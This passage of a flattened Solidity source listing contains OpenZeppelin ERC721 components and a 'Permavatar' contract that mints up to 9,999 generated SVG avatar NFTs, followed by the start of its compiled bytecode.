require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _safeMint(address to, uint256 tokenId) internal { _safeMint(to, tokenId, ""); } /** * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted * @param _data bytes data to send along with a safe transfer check */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); emit Transfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own"); _clearApproval(tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * @param tokenId uint256 ID of the token being burned */ function _burn(uint256 tokenId) internal { _burn(ownerOf(tokenId), tokenId); } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _clearApproval(tokenId); _ownedTokensCount[from].decrement(); _ownedTokensCount[to].increment(); _tokenOwner[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * This is an internal detail of the `ERC721` contract and its use is deprecated. * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = to.call(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data )); if (!success) { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert("ERC721: transfer to non ERC721Receiver implementer"); } } else { bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } } /** * @dev Private function to clear current approval of a given token ID. * @param tokenId uint256 ID of the token to be transferred */ function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol pragma solidity ^0.5.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721Metadata.sol pragma solidity ^0.5.0; contract ERC721Metadata is Context, ERC165, ERC721, IERC721Metadata { // Token name string private _name; // Token symbol string private _symbol; // Base URI string private _baseURI; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /** * @dev Constructor function */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721_METADATA); } /** * @dev Gets the token name. * @return string representing the token name */ function name() external view returns (string memory) { return _name; } /** * @dev Gets the token symbol. * @return string representing the token symbol */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the URI for a given token ID. May return an empty string. * * If the token's URI is non-empty and a base URI was set (via * {_setBaseURI}), it will be added to the token ID's URI as a prefix. * * Reverts if the token ID does not exist. */ function tokenURI(uint256 tokenId) external view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // Even if there is a base URI, it is only appended to non-empty token-specific URIs if (bytes(_tokenURI).length == 0) { return ""; } else { // abi.encodePacked is being used to concatenate strings return string(abi.encodePacked(_baseURI, _tokenURI)); } } /** * @dev Internal function to set the token URI for a given token. * * Reverts if the token ID does not exist. * * TIP: if all token IDs share a prefix (e.g. if your URIs look like * `http://api.myproject.com/token/<id>`), use {_setBaseURI} to store * it and save gas. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}. * * _Available since v2.5.0._ */ function _setBaseURI(string memory baseURI) internal { _baseURI = baseURI; } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a preffix in {tokenURI} to each token's URI, when * they are non-empty. * * _Available since v2.5.0._ */ function baseURI() external view returns (string memory) { return _baseURI; } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use _burn(uint256) instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File: @openzeppelin/contracts/token/ERC721/ERC721Burnable.sol pragma solidity ^0.5.0; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ contract ERC721Burnable is Context, ERC721 { /** * @dev Burns a specific ERC721 token. * @param tokenId uint256 id of the ERC721 token to be burned. */ function burn(uint256 tokenId) public { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: base64-sol/base64.sol // SPDX-License-Identifier: MIT /// @title Base64 /// @author Brecht Devos - <brecht@loopring.org> /// @notice Provides a function for encoding some bytes in base64 library Base64 { string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { dataPtr := add(dataPtr, 3) // read 3 bytes let input := mload(dataPtr) // write 4 characters mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F))))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } } // File: contracts/Data.sol // SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.8.0; contract Data { function getBody(bytes memory input) internal pure returns (string[2] memory) { string[2][8] memory body = [ [ "Circle", "<circle cx=\"12\" cy=\"12\" r=\"10\"></circle>" ], [ "Cross", "<path d=\"M 5,1 V 5 H 1 v 14 h 4 v 4 h 14 v -4 h 4 V 5 H 19 V 1 Z\"></path>" ], [ "Bell", "<path d=\"M 6,4.1450726 3,21 12,23 21,21 18,4.1450726 c -1.040085,-4.35794012 -11.004045,-4.17303435 -12,0 z\"></path><path d=\"M 3.5,19 C 4.33,19 5,18.33 5,17.5 5,16.67 4.33,16 3.5,16 2.67,16 2,16.67 2,17.5 2,18.33 2.67,19 3.5,19 Z\"></path><path d=\"M 4.5,15 C 5.33,15 6,14.33 6,13.5 6,12.67 5.33,12 4.5,12 3.67,12 3,12.67 3,13.5 3,14.33 3.67,15 4.5,15 Z\"></path><path d=\"M 20.5,19 C 19.67,19 19,18.33 19,17.5 19,16.67 19.67,16 20.5,16 c 0.83,0 1.5,0.67 1.5,1.5 0,0.83 -0.67,1.5 -1.5,1.5 z\"></path><path d=\"M 19.5,15 C 18.67,15 18,14.33 18,13.5 18,12.67 18.67,12 19.5,12 c 0.83,0 1.5,0.67 1.5,1.5 0,0.83 -0.67,1.5 -1.5,1.5 z\"></path>" ], [ "X", "<path d=\"M 14.444444,0.99999994 12,3.4444444 9.5555556,0.99999994 0.99999994,9.5555556 3.4444444,12 0.99999994,14.444444 9.5555556,23 12,20.555556 14.444444,23 23,14.444444 20.555556,12 23,9.5555556 Z\"></path>" ], [ "Ghost", "<path d=\"M 4,2 5.5976562,9.9882812 1.0507812,14.535156 2.4648438,15.949219 6.0683594,12.345703 8,22 h 8 l 1.931641,-9.654297 3.603515,3.603516 1.414063,-1.414063 L 18.402344,9.9882812 20,2 Z\"></path>" ], [ "Polygon", "<path d=\"M 21.999999,17.773502 12,23.547005 2.0000006,17.773502 l 0,-11.5470044 L 12,0.4529953 21.999999,6.2264977 Z\"></path>" ], [ "Skull", "<circle cy=\"10\" cx=\"12\" r=\"9\"></circle><rect width=\"10\" height=\"9\" x=\"7\" y=\"14\" rx=\"1.6666667\" ry=\"1\"></rect>" ], [ "Trapezoid", "<path d=\"M 7,2 6,6 H 2 l 2,8 -2,8 H 22 L 20,14 22,6 H 18 L 17,2 Z\"></path>" ] ]; return body[random(input, 8)]; } function getEyes(bytes memory input) internal pure returns (string[2] memory) { string[2][8] memory eyes = [ [ "Eyes", "<path d=\"M 15.5,11 C 16.33,11 17,10.33 17,9.5 17,8.67 16.33,8 15.5,8 14.67,8 14,8.67 14,9.5 c 0,0.83 0.67,1.5 1.5,1.5 z\"></path><path d=\"M 8.5,11 C 9.33,11 10,10.33 10,9.5 10,8.67 9.33,8 8.5,8 7.67,8 7,8.67 7,9.5 7,10.33 7.67,11 8.5,11 Z\"></path><path d=\"M 15.5,11 C 16.33,11 17,10.33 17,9.5 17,8.67 16.33,8 15.5,8 14.67,8 14,8.67 14,9.5 c 0,0.83 0.67,1.5 1.5,1.5 z\"></path>" ], [ "Dizzy", "<rect width=\"6\" height=\"1\" x=\"9.7279215\" y=\"0.20710692\" transform=\"rotate(45)\"></rect><rect transform=\"rotate(135)\" y=\"-13.227921\" x=\"-2.2928932\" height=\"1\" width=\"6\"></rect><rect transform=\"rotate(45)\" y=\"-4.7426405\" x=\"14.67767\" height=\"1\" width=\"6\"></rect><rect width=\"6\" height=\"1\" x=\"-7.2426405\" y=\"-18.17767\" transform=\"rotate(135)\"></rect>" ], [ "Glasses", "<path d=\"M 15.5,7 C 14.116667,7 13,8.1166667 13,9.5 13,10.883333 14.116667,12 15.5,12 16.883333,12 18,10.883333 18,9.5 18,8.1166667 16.883333,7 15.5,7 Z m 0,1 C 16.33,8 17,8.67 17,9.5 17,10.33 16.33,11 15.5,11 14.67,11 14,10.33 14,9.5 14,8.67 14.67,8 15.5,8 Z\"></path><path d=\"M 8.5,7 C 7.116667,7 6,8.1166667 6,9.5 6,10.883333 7.116667,12 8.5,12 9.883333,12 11,10.883333 11,9.5 11,8.1166667 9.883333,7 8.5,7 Z m 0,1 C 9.33,8 10,8.67 10,9.5 10,10.33 9.33,11 8.5,11 7.67,11 7,10.33 7,9.5 7,8.67 7.67,8 8.5,8 Z\"></path><path d=\"m 12,8 c -0.989493,0 -1.8112,0.857662 -2,2 h 0.753315 C 10.935894,9.418302 11.466399,9 12,9 c 0.533601,0 1.064106,0.418302 1.246685,1 H 14 C 13.8112,8.857662 12.989493,8 12,8 Z\"></path>" ], [ "Eye", "<path d=\"M 12,6.5 A 7,7 0 0 0 6.2617188,9.494141 7,7 0 0 0 12,12.5 7,7 0 0 0 17.738281,9.505859 7,7 0 0 0 12,6.5 Z M 12,7 c 1.383333,0 2.5,1.116667 2.5,2.5 C 14.5,10.883333 13.383333,12 12,12 10.616667,12 9.5,10.883333 9.5,9.5 9.5,8.116667 10.616667,7 12,7 Z m 0,1 c -0.83,0 -1.5,0.67 -1.5,1.5 0,0.83 0.67,1.5 1.5,1.5 0.83,0 1.5,-0.67 1.5,-1.5 C 13.5,8.67 12.83,8 12,8 Z\"></path>" ], [ "Sunglass", "<path d=\"m 12,8 c -0.989493,0 -1.8112,0.857662 -2,2 h 0.753315 C 10.935894,9.418302 11.466399,9 12,9 c 0.533601,0 1.064106,0.418302 1.246685,1 H 14 C 13.8112,8.857662 12.989493,8 12,8 Z\"></path><rect width=\"6\" height=\"6\" x=\"5\" y=\"7\" rx=\"1\" ry=\"1\"></rect><rect ry=\"1\" rx=\"1\" y=\"7\" x=\"13\" height=\"6\" width=\"6\"></rect>" ], [ "Alien", "<path d=\"m 15.888229,10.948889 c 1.603436,-0.42964 2.724368,-1.4236277 2.509548,-2.2253461 -0.214819,-0.8017185 -1.682569,-2.0581593 -3.286006,-1.6285196 -1.603436,0.4296396 -2.724368,2.3797154 -2.509548,3.1814337 0.214819,0.801719 1.682569,1.102071 3.286006,0.672432 z\"></path><path d=\"M 8.1117707,10.948889 C 6.5083347,10.519249 5.3874027,9.5252613 5.6022227,8.7235429 5.8170417,7.9218244 7.2847917,6.6653836 8.8882287,7.0950233 10.491665,7.5246629 11.612597,9.4747387 11.397777,10.276457 11.182958,11.078176 9.7152077,11.378528 8.1117707,10.948889 Z\"></path>" ], [ "Demon", "<path d=\"m 6,7 -2,2 4,4 3,-1 V 10 L 10.95313,9.970703 C 10.733059,11.127302 9.7218293,12 8.5,12 7.116667,12 6,10.883333 6,9.5 6,8.7128681 6.3690487,8.0203566 6.9355469,7.5625 Z M 7.8867188,8.1328125 C 7.3644757,8.3671413 7,8.8893367 7,9.5 7,10.33 7.67,11 8.5,11 9.33,11 10,10.33 10,9.5 10,9.463163 9.99088,9.42874 9.988281,9.3925781 Z\"></path><path d=\"M 18,7 17.064453,7.5625 C 17.630951,8.0203566 18,8.7128681 18,9.5 18,10.883333 16.883333,12 15.5,12 14.278171,12 13.266941,11.127302 13.046875,9.9707031 L 13,10 v 2 l 3,1 4,-4 z M 16.113281,8.1328125 14.011719,9.3925781 C 14.009124,9.4287398 14,9.4631634 14,9.5 14,10.33 14.67,11 15.5,11 16.33,11 17,10.33 17,9.5 17,8.8893367 16.635524,8.3671413 16.113281,8.1328125 Z\"></path>" ], [ "Neutral", "<rect width=\"14\" height=\"3\" x=\"5\" y=\"8\" rx=\"1\" ry=\"1\"></rect>" ] ]; return eyes[random(input, 8)]; } function getMouth(bytes memory input) internal pure returns (string[2] memory) { string[2][8] memory mouth = [ [ "Smile", "<path d=\"m 12,17.5 c 2.33,0 4.31,-1.46 5.11,-3.5 H 6.89 c 0.8,2.04 2.78,3.5 5.11,3.5 z\"></path>" ], [ "Angry", "<path d=\"m 12,14 c 2.33,0 4.31,1.46 5.11,3.5 H 6.89 C 7.69,15.46 9.67,14 12,14 Z\"></path>" ], [ "Surprised", "<path d=\"m 12,17 c 0.83,0 1.5,-0.67 1.5,-1.5 0,-0.83 -0.67,-1.5 -1.5,-1.5 -0.83,0 -1.5,0.67 -1.5,1.5 0,0.83 0.67,1.5 1.5,1.5 z\"></path>" ], [ "Vampire", "<path d=\"m 12,17.5 c 2.33,0 4.31,-1.46 5.11,-3.5 H 6.89 c 0.8,2.04 2.78,3.5 5.11,3.5 z\"></path><path d=\"m 8,15 1,5 1,-5 z\"></path><path d=\"m 14,15 1,5 1,-5 z\"></path>" ], [ "Robot", "<path d=\"m 6,14 c -0.554,0 -1,0.446 -1,1 v 3 c 0,0.554 0.446,1 1,1 h 12 c 0.554,0 1,-0.446 1,-1 v -3 c 0,-0.554 -0.446,-1 -1,-1 z m 1.5,1 C 7.777,15 8,15.223 8,15.5 v 2 C 8,17.777 7.777,18 7.5,18 7.223,18 7,17.777 7,17.5 v -2 C 7,15.223 7.223,15 7.5,15 Z m 3,0 c 0.277,0 0.5,0.223 0.5,0.5 v 2 C 11,17.777 10.777,18 10.5,18 10.223,18 10,17.777 10,17.5 v -2 C 10,15.223 10.223,15 10.5,15 Z m 3,0 c 0.277,0 0.5,0.223 0.5,0.5 v 2 C 14,17.777 13.777,18 13.5,18 13.223,18 13,17.777 13,17.5 v -2 C 13,15.223 13.223,15 13.5,15 Z m 3,0 c 0.277,0 0.5,0.223 0.5,0.5 v 2 C 17,17.777 16.777,18 16.5,18 16.223,18 16,17.777 16,17.5 v -2 C 16,15.223 16.223,15 16.5,15 Z\"></path>" ], [ "Mask", "<path d=\"m 8,14 c -0.554,0 -1,0.446 -1,1 v 2 c 0,0.554 1.446,2 2,2 h 6 c 0.554,0 2,-1.446 2,-2 v -2 c 0,-0.554 -0.446,-1 -1,-1 z m 1,1 h 2 v 2 c 0,0.554 -0.446,1 -1,1 -0.554,0 -1,-0.446 -1,-1 z m 4,0 h 2 v 2 c 0,0.554 -0.446,1 -1,1 -0.554,0 -1,-0.446 -1,-1 z\"></path>" ], [ "Zipper", "<path d=\"M 7.5,15 C 7.223,15 7,15.223 7,15.5 V 16 H 6.5 C 6.223,16 6,16.223 6,16.5 6,16.777 6.223,17 6.5,17 H 7 v 0.5 C 7,17.777 7.223,18 7.5,18 7.777,18 8,17.777 8,17.5 V 17 h 2 v 0.5 c 0,0.277 0.223,0.5 0.5,0.5 0.277,0 0.5,-0.223 0.5,-0.5 V 17 h 2 v 0.5 c 0,0.277 0.223,0.5 0.5,0.5 0.277,0 0.5,-0.223 0.5,-0.5 V 17 h 2 v 0.5 c 0,0.277 0.223,0.5 0.5,0.5 0.277,0 0.5,-0.223 0.5,-0.5 V 17 h 0.5 C 17.777,17 18,16.777 18,16.5 18,16.223 17.777,16 17.5,16 H 17 V 15.5 C 17,15.223 16.777,15 16.5,15 16.223,15 16,15.223 16,15.5 V 16 H 14 V 15.5 C 14,15.223 13.777,15 13.5,15 13.223,15 13,15.223 13,15.5 V 16 H 11 V 15.5 C 11,15.223 10.777,15 10.5,15 10.223,15 10,15.223 10,15.5 V 16 H 8 V 15.5 C 8,15.223 7.777,15 7.5,15 Z\"></path>" ], [ "Fang", "<path d=\"m 12,14 c 2.33,0 4.31,1.46 5.11,3.5 H 6.89 C 7.69,15.46 9.67,14 12,14 Z\"></path><path d=\"m 8,16 1,5 1,-5 z\"></path><path d=\"m 14,16 1,5 1,-5 z\"></path>" ] ]; return mouth[random(input, 8)]; } function getColorBodyDark(bytes memory input) internal pure returns (string[2] memory) { string[2][4] memory colors = [ [ "#616161", "#424242" ], [ "#1e88e5", "#1976d2" ], [ "#039be5", "#0288d1" ], [ "#00acc1", "#0097a7" ] ]; return colors[random(input, 4)]; } function getColorBodyLight(bytes memory input) internal pure returns (string[2] memory) { string[2][4] memory colors = [ [ "#fdd835", "#fbc02d" ], [ "#ffb300", "#ffa000" ], [ "#fb8c00", "#f57c00" ], [ "#f4511e", "#e64a19" ] ]; return colors[random(input, 4)]; } function getColorEyesMouthDark(bytes memory input) internal pure returns (string[2] memory) { string[2][8] memory colors = [ [ "#ba68c8", "#ab47bc" ], [ "#9575cd", "#7e57c2" ], [ "#7986cb", "#5c6bc0" ], [ "#64b5f6", "#42a5f5" ], [ "#4fc3f7", "#29b6f6" ], [ "#4dd0e1", "#26c6da" ], [ "#4db6ac", "#26a69a" ], [ "#616161", "#424242" ] ]; return colors[random(input, 8)]; } function getColorEyesMouthLight(bytes memory input) internal pure returns (string[2] memory) { string[2][8] memory colors = [ [ "#e57373", "#ef5350" ], [ "#f06292", "#ec407a" ], [ "#dce775", "#d4e157" ], [ "#fff176", "#ffee58" ], [ "#ffd54f", "#ffca28" ], [ "#ffb74d", "#ffa726" ], [ "#ff8a65", "#ff7043" ], [ "#eeeeee", "#e0e0e0" ] ]; return colors[random(input, 8)]; } function random(bytes memory input, uint256 range) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input))) % range; } } // File: contracts/Permavatar.sol // SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.8.0; contract Permavatar is ERC721, ERC721Burnable, ERC721Metadata, Ownable, Data { using Counters for Counters.Counter; Counters.Counter private _tokenIds; uint256 mintFeeValue; address payable mintFeeAddress; bool mintDisabled; string constant header = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="600" height="600"><defs><clipPath id="clip-left"><rect width="13" height="24" x="0" y="0"></rect></clipPath><clipPath id="clip-right"><rect width="12" height="24" x="12" y="0"></rect></clipPath></defs><rect width="600" height="600" fill="#6183fa" opacity="0.2"></rect><svg viewBox="-3 -3 30 30">'; string constant footer = '</svg></svg>'; mapping (uint256 => address) internal _mints; constructor() public ERC721Metadata("Permavatar", "PA") {} function getMintFeeValue() public view onlyOwner returns(uint256) { return mintFeeValue; } function setMintFeeValue(uint256 _mintFeeValue) external onlyOwner { mintFeeValue = _mintFeeValue; } function getMintFeeAddress() public view onlyOwner returns(address) { return mintFeeAddress; } function setMintFeeAddress(address payable _mintFeeAddress) external onlyOwner { mintFeeAddress = _mintFeeAddress; } function getMintDisabled() public view onlyOwner returns(bool) { return mintDisabled; } function setMintDisabled(bool _mintDisabled) external onlyOwner { mintDisabled = _mintDisabled; } function getCurrentTokenId() public view returns(uint256) { return _tokenIds.current(); } function mint() external payable returns (uint256) { require(mintDisabled == false, "I'm dead."); if (mintFeeValue > 0) { require(msg.value >= mintFeeValue, "I'm hungry."); } _tokenIds.increment(); uint256 newTokenId = _tokenIds.current(); require(newTokenId <= 9999, "I'm full."); _mints[newTokenId] = msg.sender; _safeMint(msg.sender, newTokenId); if (mintFeeAddress != address(0)) { mintFeeAddress.transfer(mintFeeValue); } return newTokenId; } function tokenURI(uint256 tokenId) public view returns (string memory) { address creator = _mints[tokenId]; string memory output; string memory svg; svg = header; uint256 colorType = random(abi.encodePacked("DARK_LIGHT", creator, tokenId), 2); string[2] memory colorBody; string[2] memory colorEyes; string[2] memory colorMouth; if (colorType == 0) { colorBody = getColorBodyDark(abi.encodePacked("COLOR_BODY", creator, tokenId)); colorEyes = getColorEyesMouthLight(abi.encodePacked("COLOR_EYES", creator, tokenId)); colorMouth = getColorEyesMouthLight(abi.encodePacked("COLOR_MOUTH", creator, tokenId)); } else { colorBody = getColorBodyLight(abi.encodePacked("COLOR_BODY", creator, tokenId)); colorEyes = getColorEyesMouthDark(abi.encodePacked("COLOR_EYES", creator, tokenId)); colorMouth = getColorEyesMouthDark(abi.encodePacked("COLOR_MOUTH", creator, tokenId)); } string[2] memory body = getBody(abi.encodePacked("PARTS_BODY", creator, tokenId)); svg = string(abi.encodePacked(svg, '<g style="fill:', colorBody[0], '" clip-path="url(#clip-left)">', body[1], '</g>')); svg = string(abi.encodePacked(svg, '<g style="fill:', colorBody[1], '" clip-path="url(#clip-right)">', body[1], '</g>')); string[2] memory eyes = getEyes(abi.encodePacked("PARTS_EYES", creator, tokenId)); svg = string(abi.encodePacked(svg, '<g style="fill:', colorEyes[0], '" clip-path="url(#clip-left)">', eyes[1], '</g>')); svg = string(abi.encodePacked(svg, '<g style="fill:', colorEyes[1], '" clip-path="url(#clip-right)">', eyes[1], '</g>')); string[2] memory mouth = getMouth(abi.encodePacked("PARTS_MOUTH", creator, tokenId)); svg = string(abi.encodePacked(svg, '<g style="fill:', colorMouth[0], '" clip-path="url(#clip-left)">', mouth[1], '</g>')); svg = string(abi.encodePacked(svg, '<g style="fill:', colorMouth[1], '" clip-path="url(#clip-right)">', mouth[1], '</g>')); svg = string(abi.encodePacked(svg, footer)); output = string(abi.encodePacked(output, '{"name": "Permavatar #', toString(tokenId), '", "description": "A permavatar is analgorithmically generated NFT. Each permavatar is uniquely generated from 8 types of face / eye / mouth / color components. ", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(svg)), '", "attributes": [{"trait_type": "Body", "value": "', body[0] ,'"},{"trait_type": "Eyes", "value": "', eyes[0] ,'"},{"trait_type": "Mouth", "value": "', mouth[0] ,'"},{"trait_type": "Color", "value": "', colorBody[1] ,'"}]}')); output = string(abi.encodePacked('data:application/json;base64,', Base64.encode(bytes(output)))); return output; } function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } }
0x60806040526004361061019c5760003560e01c80636d31945b116100ec578063a22cb4651161008a578063c87b56dd11610064578063c87b56dd14610645578063e985e9c51461066f578063f2fde38b146106aa578063fc6db16f146106dd5761019c565b8063a22cb46514610504578063aca1bc001461053f578063b88d4fde146105725761019c565b80638cea659f116100c65780638cea659f146104b05780638da5cb5b146104c55780638f32d59b146104da57806395d89b41146104ef5761019c565b80636d31945b1461045357806370a0823114610468578063715018a61461049b5761019c565b806323b872dd11610159578063561892361161013357806356189236146103ea5780635eab911d146103ff5780636352211e146104145780636c0360eb1461043e5761019c565b806323b872dd1461033a57806342842e0e1461037d57806342966c68146103c05761019c565b806301ffc9a7146101a157806306fdde03146101e9578063081812fc14610273578063095ea7b3146102b9578063121d0472146102f45780631249c58b14610320575b600080fd5b3480156101ad57600080fd5b506101d5600480360360208110156101c457600080fd5b50356001600160e01b031916610707565b604080519115158252519081900360200190f35b3480156101f557600080fd5b506101fe61072a565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610238578181015183820152602001610220565b50505050905090810190601f1680156102655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027f57600080fd5b5061029d6004803603602081101561029657600080fd5b50356107c1565b604080516001600160a01b039092168252519081900360200190f35b3480156102c557600080fd5b506102f2600480360360408110156102dc57600080fd5b506001600160a01b038135169060200135610823565b005b34801561030057600080fd5b506102f26004803603602081101561031757600080fd5b5035151561094b565b6103286109b0565b60408051918252519081900360200190f35b34801561034657600080fd5b506102f26004803603606081101561035d57600080fd5b506001600160a01b03813581169160208101359091169060400135610b25565b34801561038957600080fd5b506102f2600480360360608110156103a057600080fd5b506001600160a01b03813581169160208101359091169060400135610b81565b3480156103cc57600080fd5b506102f2600480360360208110156103e357600080fd5b5035610b9c565b3480156103f657600080fd5b50610328610bee565b34801561040b57600080fd5b506101d5610bfa565b34801561042057600080fd5b5061029d6004803603602081101561043757600080fd5b5035610c54565b34801561044a57600080fd5b506101fe610cae565b34801561045f57600080fd5b5061029d610d0f565b34801561047457600080fd5b506103286004803603602081101561048b57600080fd5b5035600160016